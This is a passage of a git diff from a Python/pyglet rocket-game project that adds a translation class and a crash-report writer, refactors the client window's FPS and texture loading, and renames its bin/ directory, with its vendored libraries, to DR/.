raise TypeError + 感谢来自MCDReforged的各位同志《你能在MCDR群里聊除了MCDR的任何东西》 + """ + if (thing in yes) or (isinstance(thing, str) and thing.lower() in yes): return True - elif thing in no: + elif (thing in no) or (isinstance(thing, str) and thing.lower() in no): return False else: - raise ValueError("Need a 'like bool' not anything else") + raise TypeError("Need a 'like bool' not a {}".format(thing)) level_ = ['DEBUG', 'INFO', 'WARNING', 'ERROR', 'CRITICAL', diff --git a/DR/api/translate.py b/DR/api/translate.py new file mode 100644 index 0000000..b5820d6 --- /dev/null +++ b/DR/api/translate.py @@ -0,0 +1,26 @@ +""" +writen by shenjackyuanjie +mail: 3695888@qq.com +github: @shenjackyuanjie +gitee: @shenjackyuanjie +""" + + +class Lang: + """ + 用于创建一个对应语言的翻译类 + 感谢Fallen的MCDR提供idea + https://github.com/Fallen-Breath/MCDReforged + """ + def __init__(self, language: str): + self.语言 = language + self.翻译结果 = {} + + def __str__(self): + return self.语言 + + def __getitem__(self, item): + return self.翻译结果[item] + + def __setitem__(self, key, value): + pass diff --git a/bin/client.py b/DR/client.py similarity index 82% rename from bin/client.py rename to DR/client.py index 490aee4..592c0f1 100644 --- a/bin/client.py +++ b/DR/client.py @@ -16,10 +16,13 @@ import pyglet from pyglet.window import key from pyglet.window import mouse -import tools -import delivery import drag_sprite -from new_thread import new_thread +from api import Exp +from api import tools +from api.tools import config +from api.delivery import Delivery +from api.new_thread import new_thread +# from mcdreforged.api.decorator import new_thread class Client: @@ -56,6 +59,7 @@ class Client: class ClientWindow(pyglet.window.Window): def __init__(self, dev_dic=None, dev_list=None, net_mode='local', *args, **kwargs): + self.times = [time.time()] super().__init__(*args, **kwargs) """ :param dev_list: 共享内存 @@ -76,15 +80,17 @@ class ClientWindow(pyglet.window.Window): self.config_file = tools.config('configs/main.config') self.FPS = int(self.config_file['runtime']['fps']) self.SPF = 1.0 / self.FPS + # lang + self.lang = tools.config('configs/lang/%s.json5' % self.config_file['runtime']['language'], 'client') + # dic + self.environment = {} + self.textures = {} # all textures + self.runtime = {} + # list # FPS self.max_fps = [self.FPS, time.time()] self.min_fps = [self.FPS, time.time()] self.fps_wait = 5 - # lang - self.lang = tools.config('configs/lang/%s.json5' % self.config_file['runtime']['language'], 'client') - # dic - self.textures = {} - # list # batch self.part_batch = pyglet.graphics.Batch() self.label_batch = pyglet.graphics.Batch() @@ -96,25 +102,38 @@ class ClientWindow(pyglet.window.Window): self.info_label = pyglet.text.Label(x=10, y=self.height - 10, anchor_x='left', anchor_y='top', batch=self.label_batch) + self.fps_display = pyglet.window.FPSDisplay(self) pyglet.clock.schedule_interval(self.update, self.SPF) + self.times.append(time.time()) + self.times.append(self.times[1] - self.times[0]) + self.logger.debug(self.times[2]) + + @new_thread('client_load_environment') + def load_environment(self) -> None: + # load parts info + self.environment['parts'] = config('configs/sys_value/parts.json5') + self.load_textures() @new_thread('client_load_textures') - def load_textures(self): - pass + def load_textures(self) -> None: + # load parts + self.textures['parts'] = {} + for part in self.environment['parts']: + pass + def setup(self): self.logger.info(self.lang['os.pid_is'].format(os.getpid(), os.getppid())) image = pyglet.image.load('textures/Editor/PartButton.png') self.textures['test'] = drag_sprite.DragSprite(10, 20, image, batch=self.label_batch, drag_by_all=False, drag_out_window=True) - pass + self.load_environment() # draws - def update(self, tick): - self.FPS_update() - self.hit_box_update() + def update(self, tick: float): + self.FPS_update(tick) - def FPS_update(self): + def FPS_update(self, tick: float): now_FPS = pyglet.clock.get_fps() if now_FPS > self.max_fps[0]: self.max_fps = [now_FPS, time.time()] @@ -125,21 +144,24 @@ class ClientWindow(pyglet.window.Window): self.max_fps = [self.FPS, time.time()] elif (time.time() - self.min_fps[1]) > self.fps_wait: self.min_fps = [self.FPS, time.time()] - self.info_label.text = 'now FPS: %06d \n max FPS: %02d \n min FPS: %02d' % (now_FPS, self.max_fps[0], self.min_fps[0]) + self.info_label.text = 'FPS: {:.1f} {:.1f} ({:.1f}/{:.1f}) | MSPF: {:.5f} '.format(now_FPS, 1 / tick, self.max_fps[0], self.min_fps[0], tick) - def hit_box_update(self): - pass + """ + window draw and event + """ def on_draw(self): self.clear() self.draw_batch() + def on_resize(self, width: int, height: int): + super().on_resize(width, height) + self.info_label.y = height - 10 + def draw_batch(self): self.part_batch.draw() self.label_batch.draw() - - def draw_label(self): - pass + self.fps_display.draw() """ keyboard and mouse input diff --git a/bin/configs.py b/DR/configs.py similarity index 99% rename from bin/configs.py rename to DR/configs.py index 35d6eed..10b770d 100644 --- a/bin/configs.py +++ b/DR/configs.py @@ -12,7 +12,7 @@ if __name__ == '__main__': # been start will not run this sys.path.append('/bin/libs') sys.path.append('/bin') -import tools +from api import tools # logger configs_logger = logging.getLogger('configs') diff --git a/DR/crash.py b/DR/crash.py new file mode 100644 index 0000000..1d1f09f --- /dev/null +++ b/DR/crash.py @@ -0,0 +1,71 @@ +""" +writen by shenjackyuanjie +mail: 3695888@qq.com +github: @shenjackyuanjie +gitee: @shenjackyuanjie +""" + +import os +import sys +import time +import traceback +import threading +from typing import Optional + + +# where the crash report from +# this can't be crash , or the game will really crash! + +# TODO 写完它 + +Head_message = """# ----- Difficult Rocket Crash Report ----- +## Traceback +""" + +Thread_message = """## Thread info +""" + +System_message = """## System info +""" + + +def crash_info_handler(info: str = None) -> str: + if not info: + info = traceback.format_exc() + format_info = '- {}'.format(info.replace('\n', '\n- ')) + if (format_info.rfind('- ') + 2) == len(format_info): + format_info = format_info[:-2] + return format_info + + +def markdown_line_handler(string: Optional[str or bool or int or float], code: bool = False, level: int = 1) -> str: + lvl = '- ' * level + f_string = string + if code: + f_string = '`{}`'.format(f_string) + return '{}{}\n'.format(lvl, f_string) + + +def create_crash_report(info: str = None) -> None: + crash_info = crash_info_handler(info) + if 'crash_report' not in os.listdir('./'): + os.mkdir('./crash_report') + date_time = time.strftime('%Y-%m-%d %H-%M-%S', time.gmtime(time.time())) + filename = 'crash-{}.md'.format(date_time) + with open('./crash_report/{}'.format(filename), 'w+') as crash_file: + crash_file.write(Head_message) # 开头信息 + crash_file.write(crash_info) + crash_file.write(Thread_message) + for thread in threading.enumerate(): + crash_file.write(markdown_line_handler(thread.name, code=True)) + crash_file.write(markdown_line_handler(f'Ident: {thread.ident}', level=2)) + crash_file.write(markdown_line_handler(f'Daemon: {thread.isDaemon()}', level=2)) + crash_file.write(System_message) + + +if __name__ == '__main__': + os.chdir('../') + try: + raise FileNotFoundError('abc') + except: + create_crash_report() diff --git a/bin/drag_sprite.py b/DR/drag_sprite.py similarity index 98% rename from bin/drag_sprite.py rename to DR/drag_sprite.py index 4a21dbe..d5ce43f 100644 --- a/bin/drag_sprite.py +++ b/DR/drag_sprite.py @@ -65,7 +65,6 @@ class DragSprite(WidgetBase): self.dragging = False def _check_hit(self, x, y): - print(self._x, self._y, x, y, self._width, self._height) return self._x < x < self._x + self._width and self._y < y < self._y + self._height def on_mouse_press(self, x, y, buttons, modifiers): diff --git a/bin/libs/json5/__init__.py b/DR/libs/json5/__init__.py similarity index 100% rename from bin/libs/json5/__init__.py rename to DR/libs/json5/__init__.py diff --git a/bin/libs/json5/__main__.py b/DR/libs/json5/__main__.py similarity index 100% rename from bin/libs/json5/__main__.py rename to DR/libs/json5/__main__.py diff --git a/bin/libs/json5/arg_parser.py b/DR/libs/json5/arg_parser.py similarity index 100% rename from bin/libs/json5/arg_parser.py rename to DR/libs/json5/arg_parser.py diff --git a/bin/libs/json5/host.py b/DR/libs/json5/host.py similarity index 100% rename from bin/libs/json5/host.py rename to DR/libs/json5/host.py diff --git a/bin/libs/json5/lib.py b/DR/libs/json5/lib.py similarity index 100% rename from bin/libs/json5/lib.py rename to DR/libs/json5/lib.py diff --git a/bin/libs/json5/parser.py b/DR/libs/json5/parser.py similarity index 100% rename from bin/libs/json5/parser.py rename to DR/libs/json5/parser.py diff --git a/bin/libs/json5/tool.py b/DR/libs/json5/tool.py similarity index 100% rename from bin/libs/json5/tool.py rename to DR/libs/json5/tool.py diff --git a/bin/libs/json5/version.py b/DR/libs/json5/version.py similarity index 100% rename from bin/libs/json5/version.py rename to DR/libs/json5/version.py diff --git a/bin/libs/pyglet/__init__.py b/DR/libs/pyglet/__init__.py similarity index 100% rename from bin/libs/pyglet/__init__.py rename to DR/libs/pyglet/__init__.py diff --git a/bin/libs/pyglet/app/__init__.py b/DR/libs/pyglet/app/__init__.py similarity index 100% rename from bin/libs/pyglet/app/__init__.py rename to DR/libs/pyglet/app/__init__.py diff --git a/bin/libs/pyglet/app/base.py b/DR/libs/pyglet/app/base.py similarity index 100% rename from bin/libs/pyglet/app/base.py rename to DR/libs/pyglet/app/base.py diff --git a/bin/libs/pyglet/app/cocoa.py b/DR/libs/pyglet/app/cocoa.py similarity index 100% rename from bin/libs/pyglet/app/cocoa.py rename to DR/libs/pyglet/app/cocoa.py diff --git a/bin/libs/pyglet/app/win32.py b/DR/libs/pyglet/app/win32.py similarity index 100% rename from bin/libs/pyglet/app/win32.py rename to DR/libs/pyglet/app/win32.py diff --git a/bin/libs/pyglet/app/xlib.py b/DR/libs/pyglet/app/xlib.py similarity index 100% rename from bin/libs/pyglet/app/xlib.py rename to DR/libs/pyglet/app/xlib.py diff --git a/bin/libs/pyglet/canvas/__init__.py b/DR/libs/pyglet/canvas/__init__.py similarity index 100% rename from bin/libs/pyglet/canvas/__init__.py rename to DR/libs/pyglet/canvas/__init__.py diff --git a/bin/libs/pyglet/canvas/base.py b/DR/libs/pyglet/canvas/base.py similarity index 100% rename from bin/libs/pyglet/canvas/base.py rename to DR/libs/pyglet/canvas/base.py diff --git a/bin/libs/pyglet/canvas/cocoa.py b/DR/libs/pyglet/canvas/cocoa.py similarity index 100% rename from bin/libs/pyglet/canvas/cocoa.py rename to DR/libs/pyglet/canvas/cocoa.py diff --git a/bin/libs/pyglet/canvas/headless.py b/DR/libs/pyglet/canvas/headless.py similarity index 100% rename from bin/libs/pyglet/canvas/headless.py rename to DR/libs/pyglet/canvas/headless.py diff --git a/bin/libs/pyglet/canvas/win32.py b/DR/libs/pyglet/canvas/win32.py similarity index 100% rename from bin/libs/pyglet/canvas/win32.py rename to DR/libs/pyglet/canvas/win32.py diff --git a/bin/libs/pyglet/canvas/xlib.py b/DR/libs/pyglet/canvas/xlib.py similarity index 100% rename from bin/libs/pyglet/canvas/xlib.py rename to DR/libs/pyglet/canvas/xlib.py diff --git a/bin/libs/pyglet/canvas/xlib_vidmoderestore.py b/DR/libs/pyglet/canvas/xlib_vidmoderestore.py similarity index 100% rename from bin/libs/pyglet/canvas/xlib_vidmoderestore.py rename to DR/libs/pyglet/canvas/xlib_vidmoderestore.py diff --git a/bin/libs/pyglet/clock.py b/DR/libs/pyglet/clock.py similarity index 100% rename from bin/libs/pyglet/clock.py rename to DR/libs/pyglet/clock.py diff --git a/bin/libs/pyglet/com.py b/DR/libs/pyglet/com.py similarity index 100% rename from bin/libs/pyglet/com.py rename to DR/libs/pyglet/com.py diff --git a/bin/libs/pyglet/event.py b/DR/libs/pyglet/event.py similarity index 100% rename from bin/libs/pyglet/event.py rename to DR/libs/pyglet/event.py diff --git a/bin/libs/pyglet/extlibs/__init__.py b/DR/libs/pyglet/extlibs/__init__.py similarity index 100% rename from bin/libs/pyglet/extlibs/__init__.py rename to DR/libs/pyglet/extlibs/__init__.py diff --git a/bin/libs/pyglet/extlibs/png.py b/DR/libs/pyglet/extlibs/png.py similarity index 100% rename from bin/libs/pyglet/extlibs/png.py rename to DR/libs/pyglet/extlibs/png.py diff --git a/bin/libs/pyglet/font/__init__.py b/DR/libs/pyglet/font/__init__.py similarity index 100% rename from bin/libs/pyglet/font/__init__.py rename to DR/libs/pyglet/font/__init__.py diff --git a/bin/libs/pyglet/font/base.py b/DR/libs/pyglet/font/base.py similarity index 100% rename from bin/libs/pyglet/font/base.py rename to DR/libs/pyglet/font/base.py diff --git a/bin/libs/pyglet/font/directwrite.py b/DR/libs/pyglet/font/directwrite.py similarity index 100% rename from bin/libs/pyglet/font/directwrite.py rename to DR/libs/pyglet/font/directwrite.py diff --git a/bin/libs/pyglet/font/fontconfig.py b/DR/libs/pyglet/font/fontconfig.py similarity index 100% rename from bin/libs/pyglet/font/fontconfig.py rename to DR/libs/pyglet/font/fontconfig.py diff --git a/bin/libs/pyglet/font/freetype.py b/DR/libs/pyglet/font/freetype.py similarity index 100% rename from bin/libs/pyglet/font/freetype.py rename to DR/libs/pyglet/font/freetype.py diff --git a/bin/libs/pyglet/font/freetype_lib.py b/DR/libs/pyglet/font/freetype_lib.py similarity index 100% rename from bin/libs/pyglet/font/freetype_lib.py rename to DR/libs/pyglet/font/freetype_lib.py diff --git a/bin/libs/pyglet/font/quartz.py b/DR/libs/pyglet/font/quartz.py similarity index 100% rename from bin/libs/pyglet/font/quartz.py rename to DR/libs/pyglet/font/quartz.py diff --git a/bin/libs/pyglet/font/ttf.py b/DR/libs/pyglet/font/ttf.py similarity index 100% rename from bin/libs/pyglet/font/ttf.py rename to DR/libs/pyglet/font/ttf.py diff --git a/bin/libs/pyglet/font/win32.py b/DR/libs/pyglet/font/win32.py similarity index 100% rename from bin/libs/pyglet/font/win32.py rename to DR/libs/pyglet/font/win32.py diff --git a/bin/libs/pyglet/font/win32query.py b/DR/libs/pyglet/font/win32query.py similarity index 100% rename from bin/libs/pyglet/font/win32query.py rename to DR/libs/pyglet/font/win32query.py diff --git a/bin/libs/pyglet/gl/__init__.py b/DR/libs/pyglet/gl/__init__.py similarity index 100% rename from bin/libs/pyglet/gl/__init__.py rename to DR/libs/pyglet/gl/__init__.py diff --git a/bin/libs/pyglet/gl/agl.py b/DR/libs/pyglet/gl/agl.py similarity index 100% rename from bin/libs/pyglet/gl/agl.py rename to DR/libs/pyglet/gl/agl.py diff --git a/bin/libs/pyglet/gl/base.py b/DR/libs/pyglet/gl/base.py similarity index 100% rename from bin/libs/pyglet/gl/base.py rename to DR/libs/pyglet/gl/base.py diff --git a/bin/libs/pyglet/gl/cocoa.py b/DR/libs/pyglet/gl/cocoa.py similarity index 100% rename from bin/libs/pyglet/gl/cocoa.py rename to DR/libs/pyglet/gl/cocoa.py diff --git a/bin/libs/pyglet/gl/gl.py b/DR/libs/pyglet/gl/gl.py similarity index 100% rename from bin/libs/pyglet/gl/gl.py rename to DR/libs/pyglet/gl/gl.py diff --git a/bin/libs/pyglet/gl/gl_info.py b/DR/libs/pyglet/gl/gl_info.py similarity index 100% rename from bin/libs/pyglet/gl/gl_info.py rename to DR/libs/pyglet/gl/gl_info.py diff --git a/bin/libs/pyglet/gl/glext_arb.py b/DR/libs/pyglet/gl/glext_arb.py similarity index 100% rename from bin/libs/pyglet/gl/glext_arb.py rename to DR/libs/pyglet/gl/glext_arb.py diff --git a/bin/libs/pyglet/gl/glext_nv.py b/DR/libs/pyglet/gl/glext_nv.py similarity index 100% rename from bin/libs/pyglet/gl/glext_nv.py rename to DR/libs/pyglet/gl/glext_nv.py diff --git a/bin/libs/pyglet/gl/glu.py b/DR/libs/pyglet/gl/glu.py similarity index 100% rename from bin/libs/pyglet/gl/glu.py rename to DR/libs/pyglet/gl/glu.py diff --git a/bin/libs/pyglet/gl/glu_info.py b/DR/libs/pyglet/gl/glu_info.py similarity index 100% rename from bin/libs/pyglet/gl/glu_info.py rename to DR/libs/pyglet/gl/glu_info.py diff --git a/bin/libs/pyglet/gl/glx.py b/DR/libs/pyglet/gl/glx.py similarity index 100% rename from bin/libs/pyglet/gl/glx.py rename to DR/libs/pyglet/gl/glx.py diff --git a/bin/libs/pyglet/gl/glx_info.py b/DR/libs/pyglet/gl/glx_info.py similarity index 100% rename from bin/libs/pyglet/gl/glx_info.py rename to DR/libs/pyglet/gl/glx_info.py diff --git a/bin/libs/pyglet/gl/glxext_arb.py b/DR/libs/pyglet/gl/glxext_arb.py similarity index 100% rename from bin/libs/pyglet/gl/glxext_arb.py rename to DR/libs/pyglet/gl/glxext_arb.py diff --git a/bin/libs/pyglet/gl/glxext_mesa.py b/DR/libs/pyglet/gl/glxext_mesa.py similarity index 100% rename from bin/libs/pyglet/gl/glxext_mesa.py rename to DR/libs/pyglet/gl/glxext_mesa.py diff --git a/bin/libs/pyglet/gl/glxext_nv.py b/DR/libs/pyglet/gl/glxext_nv.py similarity index 100% rename from bin/libs/pyglet/gl/glxext_nv.py rename to DR/libs/pyglet/gl/glxext_nv.py diff --git a/bin/libs/pyglet/gl/headless.py b/DR/libs/pyglet/gl/headless.py similarity index 100% rename from bin/libs/pyglet/gl/headless.py rename to DR/libs/pyglet/gl/headless.py diff --git a/bin/libs/pyglet/gl/lib.py b/DR/libs/pyglet/gl/lib.py similarity index 100% rename from bin/libs/pyglet/gl/lib.py rename to DR/libs/pyglet/gl/lib.py diff --git a/bin/libs/pyglet/gl/lib_agl.py b/DR/libs/pyglet/gl/lib_agl.py similarity index 100% rename from bin/libs/pyglet/gl/lib_agl.py rename to DR/libs/pyglet/gl/lib_agl.py diff --git a/bin/libs/pyglet/gl/lib_glx.py b/DR/libs/pyglet/gl/lib_glx.py similarity index 100% rename from bin/libs/pyglet/gl/lib_glx.py rename to DR/libs/pyglet/gl/lib_glx.py diff --git a/bin/libs/pyglet/gl/lib_wgl.py b/DR/libs/pyglet/gl/lib_wgl.py similarity index 100% rename from bin/libs/pyglet/gl/lib_wgl.py rename to DR/libs/pyglet/gl/lib_wgl.py diff --git a/bin/libs/pyglet/gl/wgl.py b/DR/libs/pyglet/gl/wgl.py similarity index 100% rename from bin/libs/pyglet/gl/wgl.py rename to DR/libs/pyglet/gl/wgl.py diff --git a/bin/libs/pyglet/gl/wgl_info.py b/DR/libs/pyglet/gl/wgl_info.py similarity index 100% rename from bin/libs/pyglet/gl/wgl_info.py rename to DR/libs/pyglet/gl/wgl_info.py diff --git a/bin/libs/pyglet/gl/wglext_arb.py b/DR/libs/pyglet/gl/wglext_arb.py similarity index 100% rename from bin/libs/pyglet/gl/wglext_arb.py rename to DR/libs/pyglet/gl/wglext_arb.py diff --git a/bin/libs/pyglet/gl/wglext_nv.py b/DR/libs/pyglet/gl/wglext_nv.py similarity index 100% rename from bin/libs/pyglet/gl/wglext_nv.py rename to DR/libs/pyglet/gl/wglext_nv.py diff --git a/bin/libs/pyglet/gl/win32.py b/DR/libs/pyglet/gl/win32.py similarity index 100% rename from bin/libs/pyglet/gl/win32.py rename to DR/libs/pyglet/gl/win32.py diff --git a/bin/libs/pyglet/gl/xlib.py b/DR/libs/pyglet/gl/xlib.py similarity index 100% rename from bin/libs/pyglet/gl/xlib.py rename to DR/libs/pyglet/gl/xlib.py diff --git a/bin/libs/pyglet/graphics/__init__.py b/DR/libs/pyglet/graphics/__init__.py similarity index 100% rename from bin/libs/pyglet/graphics/__init__.py rename to DR/libs/pyglet/graphics/__init__.py diff --git a/bin/libs/pyglet/graphics/allocation.py b/DR/libs/pyglet/graphics/allocation.py similarity index 100% rename from bin/libs/pyglet/graphics/allocation.py rename to DR/libs/pyglet/graphics/allocation.py diff --git a/bin/libs/pyglet/graphics/vertexattribute.py b/DR/libs/pyglet/graphics/vertexattribute.py similarity index 100% rename from bin/libs/pyglet/graphics/vertexattribute.py rename to DR/libs/pyglet/graphics/vertexattribute.py diff --git a/bin/libs/pyglet/graphics/vertexbuffer.py b/DR/libs/pyglet/graphics/vertexbuffer.py similarity index 100% rename from bin/libs/pyglet/graphics/vertexbuffer.py rename to DR/libs/pyglet/graphics/vertexbuffer.py diff --git a/bin/libs/pyglet/graphics/vertexdomain.py b/DR/libs/pyglet/graphics/vertexdomain.py similarity index 100% rename from bin/libs/pyglet/graphics/vertexdomain.py rename to DR/libs/pyglet/graphics/vertexdomain.py diff --git a/bin/libs/pyglet/gui/__init__.py b/DR/libs/pyglet/gui/__init__.py similarity index 100% rename from bin/libs/pyglet/gui/__init__.py rename to DR/libs/pyglet/gui/__init__.py diff --git a/bin/libs/pyglet/gui/frame.py b/DR/libs/pyglet/gui/frame.py similarity index 100% rename from bin/libs/pyglet/gui/frame.py rename to DR/libs/pyglet/gui/frame.py diff --git a/bin/libs/pyglet/gui/ninepatch.py b/DR/libs/pyglet/gui/ninepatch.py similarity index 100% rename from bin/libs/pyglet/gui/ninepatch.py rename to DR/libs/pyglet/gui/ninepatch.py diff --git a/bin/libs/pyglet/gui/widgets.py b/DR/libs/pyglet/gui/widgets.py similarity index 100% rename from bin/libs/pyglet/gui/widgets.py rename to DR/libs/pyglet/gui/widgets.py diff --git a/bin/libs/pyglet/image/__init__.py b/DR/libs/pyglet/image/__init__.py similarity index 100% rename from bin/libs/pyglet/image/__init__.py rename to DR/libs/pyglet/image/__init__.py diff --git a/bin/libs/pyglet/image/animation.py b/DR/libs/pyglet/image/animation.py similarity index 100% rename from bin/libs/pyglet/image/animation.py rename to DR/libs/pyglet/image/animation.py diff --git a/bin/libs/pyglet/image/atlas.py b/DR/libs/pyglet/image/atlas.py similarity index 100% rename from bin/libs/pyglet/image/atlas.py rename to DR/libs/pyglet/image/atlas.py diff --git a/bin/libs/pyglet/image/codecs/__init__.py b/DR/libs/pyglet/image/codecs/__init__.py similarity index 100% rename from bin/libs/pyglet/image/codecs/__init__.py rename to DR/libs/pyglet/image/codecs/__init__.py diff --git a/bin/libs/pyglet/image/codecs/bmp.py b/DR/libs/pyglet/image/codecs/bmp.py similarity index 100% rename from bin/libs/pyglet/image/codecs/bmp.py rename to DR/libs/pyglet/image/codecs/bmp.py diff --git a/bin/libs/pyglet/image/codecs/dds.py b/DR/libs/pyglet/image/codecs/dds.py similarity index 100% rename from bin/libs/pyglet/image/codecs/dds.py rename to DR/libs/pyglet/image/codecs/dds.py diff --git a/bin/libs/pyglet/image/codecs/gdiplus.py b/DR/libs/pyglet/image/codecs/gdiplus.py similarity index 100% rename from bin/libs/pyglet/image/codecs/gdiplus.py rename to DR/libs/pyglet/image/codecs/gdiplus.py diff --git a/bin/libs/pyglet/image/codecs/gdkpixbuf2.py b/DR/libs/pyglet/image/codecs/gdkpixbuf2.py similarity index 100% rename from bin/libs/pyglet/image/codecs/gdkpixbuf2.py rename to DR/libs/pyglet/image/codecs/gdkpixbuf2.py diff --git a/bin/libs/pyglet/image/codecs/gif.py b/DR/libs/pyglet/image/codecs/gif.py similarity index 100% rename from bin/libs/pyglet/image/codecs/gif.py rename to DR/libs/pyglet/image/codecs/gif.py diff --git a/bin/libs/pyglet/image/codecs/pil.py b/DR/libs/pyglet/image/codecs/pil.py similarity index 100% rename from bin/libs/pyglet/image/codecs/pil.py rename to DR/libs/pyglet/image/codecs/pil.py diff --git a/bin/libs/pyglet/image/codecs/png.py b/DR/libs/pyglet/image/codecs/png.py similarity index 100% rename from bin/libs/pyglet/image/codecs/png.py rename to DR/libs/pyglet/image/codecs/png.py diff --git a/bin/libs/pyglet/image/codecs/quartz.py b/DR/libs/pyglet/image/codecs/quartz.py similarity index 100% rename from bin/libs/pyglet/image/codecs/quartz.py rename to DR/libs/pyglet/image/codecs/quartz.py diff --git a/bin/libs/pyglet/image/codecs/s3tc.py b/DR/libs/pyglet/image/codecs/s3tc.py similarity index 100% rename from bin/libs/pyglet/image/codecs/s3tc.py rename to DR/libs/pyglet/image/codecs/s3tc.py diff --git a/bin/libs/pyglet/image/codecs/wic.py b/DR/libs/pyglet/image/codecs/wic.py similarity index 100% rename from bin/libs/pyglet/image/codecs/wic.py rename to DR/libs/pyglet/image/codecs/wic.py diff --git a/bin/libs/pyglet/info.py b/DR/libs/pyglet/info.py similarity index 100% rename from bin/libs/pyglet/info.py rename to DR/libs/pyglet/info.py diff --git a/bin/libs/pyglet/input/__init__.py b/DR/libs/pyglet/input/__init__.py similarity index 100% rename from bin/libs/pyglet/input/__init__.py rename to DR/libs/pyglet/input/__init__.py diff --git a/bin/libs/pyglet/input/base.py b/DR/libs/pyglet/input/base.py similarity index 100% rename from bin/libs/pyglet/input/base.py rename to DR/libs/pyglet/input/base.py diff --git a/bin/libs/pyglet/input/darwin_hid.py b/DR/libs/pyglet/input/darwin_hid.py similarity index 100% rename from bin/libs/pyglet/input/darwin_hid.py rename to DR/libs/pyglet/input/darwin_hid.py diff --git a/bin/libs/pyglet/input/directinput.py b/DR/libs/pyglet/input/directinput.py similarity index 100% rename from bin/libs/pyglet/input/directinput.py rename to DR/libs/pyglet/input/directinput.py diff --git a/bin/libs/pyglet/input/evdev.py b/DR/libs/pyglet/input/evdev.py similarity index 100% rename from bin/libs/pyglet/input/evdev.py rename to DR/libs/pyglet/input/evdev.py diff --git a/bin/libs/pyglet/input/evdev_constants.py b/DR/libs/pyglet/input/evdev_constants.py similarity index 100% rename from bin/libs/pyglet/input/evdev_constants.py rename to DR/libs/pyglet/input/evdev_constants.py diff --git a/bin/libs/pyglet/input/wintab.py b/DR/libs/pyglet/input/wintab.py similarity index 100% rename from bin/libs/pyglet/input/wintab.py rename to DR/libs/pyglet/input/wintab.py diff --git a/bin/libs/pyglet/input/x11_xinput.py b/DR/libs/pyglet/input/x11_xinput.py similarity index 100% rename from bin/libs/pyglet/input/x11_xinput.py rename to DR/libs/pyglet/input/x11_xinput.py diff --git a/bin/libs/pyglet/input/x11_xinput_tablet.py b/DR/libs/pyglet/input/x11_xinput_tablet.py similarity index 100% rename from bin/libs/pyglet/input/x11_xinput_tablet.py rename to DR/libs/pyglet/input/x11_xinput_tablet.py diff --git a/bin/libs/pyglet/lib.py b/DR/libs/pyglet/lib.py similarity index 100% rename from bin/libs/pyglet/lib.py rename to DR/libs/pyglet/lib.py diff --git a/bin/libs/pyglet/libs/__init__.py b/DR/libs/pyglet/libs/__init__.py similarity index 100% rename from bin/libs/pyglet/libs/__init__.py rename to DR/libs/pyglet/libs/__init__.py diff --git a/bin/libs/pyglet/libs/darwin/__init__.py b/DR/libs/pyglet/libs/darwin/__init__.py similarity index 100% rename from bin/libs/pyglet/libs/darwin/__init__.py rename to DR/libs/pyglet/libs/darwin/__init__.py diff --git a/bin/libs/pyglet/libs/darwin/cocoapy/__init__.py b/DR/libs/pyglet/libs/darwin/cocoapy/__init__.py similarity index 100% rename from bin/libs/pyglet/libs/darwin/cocoapy/__init__.py rename to DR/libs/pyglet/libs/darwin/cocoapy/__init__.py diff --git a/bin/libs/pyglet/libs/darwin/cocoapy/cocoalibs.py b/DR/libs/pyglet/libs/darwin/cocoapy/cocoalibs.py similarity index 100% rename from bin/libs/pyglet/libs/darwin/cocoapy/cocoalibs.py rename to DR/libs/pyglet/libs/darwin/cocoapy/cocoalibs.py diff --git a/bin/libs/pyglet/libs/darwin/cocoapy/cocoatypes.py b/DR/libs/pyglet/libs/darwin/cocoapy/cocoatypes.py similarity index 100% rename from bin/libs/pyglet/libs/darwin/cocoapy/cocoatypes.py rename to DR/libs/pyglet/libs/darwin/cocoapy/cocoatypes.py diff --git a/bin/libs/pyglet/libs/darwin/cocoapy/runtime.py b/DR/libs/pyglet/libs/darwin/cocoapy/runtime.py similarity index 100% rename from bin/libs/pyglet/libs/darwin/cocoapy/runtime.py rename to DR/libs/pyglet/libs/darwin/cocoapy/runtime.py diff --git a/bin/libs/pyglet/libs/darwin/quartzkey.py b/DR/libs/pyglet/libs/darwin/quartzkey.py similarity index 100% rename from bin/libs/pyglet/libs/darwin/quartzkey.py rename to DR/libs/pyglet/libs/darwin/quartzkey.py diff --git a/bin/libs/pyglet/libs/egl/__init__.py b/DR/libs/pyglet/libs/egl/__init__.py similarity index 100% rename from bin/libs/pyglet/libs/egl/__init__.py rename to DR/libs/pyglet/libs/egl/__init__.py diff --git a/bin/libs/pyglet/libs/egl/egl.py b/DR/libs/pyglet/libs/egl/egl.py similarity index 100% rename from bin/libs/pyglet/libs/egl/egl.py rename to DR/libs/pyglet/libs/egl/egl.py diff --git a/bin/libs/pyglet/libs/egl/eglext.py b/DR/libs/pyglet/libs/egl/eglext.py similarity index 100% rename from bin/libs/pyglet/libs/egl/eglext.py rename to DR/libs/pyglet/libs/egl/eglext.py diff --git a/bin/libs/pyglet/libs/egl/lib.py b/DR/libs/pyglet/libs/egl/lib.py similarity index 100% rename from bin/libs/pyglet/libs/egl/lib.py rename to DR/libs/pyglet/libs/egl/lib.py diff --git a/bin/libs/pyglet/libs/win32/__init__.py b/DR/libs/pyglet/libs/win32/__init__.py similarity index 100% rename from bin/libs/pyglet/libs/win32/__init__.py rename to DR/libs/pyglet/libs/win32/__init__.py diff --git a/bin/libs/pyglet/libs/win32/constants.py b/DR/libs/pyglet/libs/win32/constants.py similarity index 100% rename from bin/libs/pyglet/libs/win32/constants.py rename to DR/libs/pyglet/libs/win32/constants.py diff --git a/bin/libs/pyglet/libs/win32/dinput.py b/DR/libs/pyglet/libs/win32/dinput.py similarity index 100% rename from bin/libs/pyglet/libs/win32/dinput.py rename to DR/libs/pyglet/libs/win32/dinput.py diff --git a/bin/libs/pyglet/libs/win32/libwintab.py b/DR/libs/pyglet/libs/win32/libwintab.py similarity index 100% rename from bin/libs/pyglet/libs/win32/libwintab.py rename to DR/libs/pyglet/libs/win32/libwintab.py diff --git a/bin/libs/pyglet/libs/win32/types.py b/DR/libs/pyglet/libs/win32/types.py similarity index 100% rename from bin/libs/pyglet/libs/win32/types.py rename to DR/libs/pyglet/libs/win32/types.py diff --git a/bin/libs/pyglet/libs/win32/winkey.py b/DR/libs/pyglet/libs/win32/winkey.py similarity index 100% rename from bin/libs/pyglet/libs/win32/winkey.py rename to DR/libs/pyglet/libs/win32/winkey.py diff --git a/bin/libs/pyglet/libs/x11/__init__.py b/DR/libs/pyglet/libs/x11/__init__.py similarity index 100% rename from bin/libs/pyglet/libs/x11/__init__.py rename to DR/libs/pyglet/libs/x11/__init__.py diff --git a/bin/libs/pyglet/libs/x11/cursorfont.py b/DR/libs/pyglet/libs/x11/cursorfont.py similarity index 100% rename from 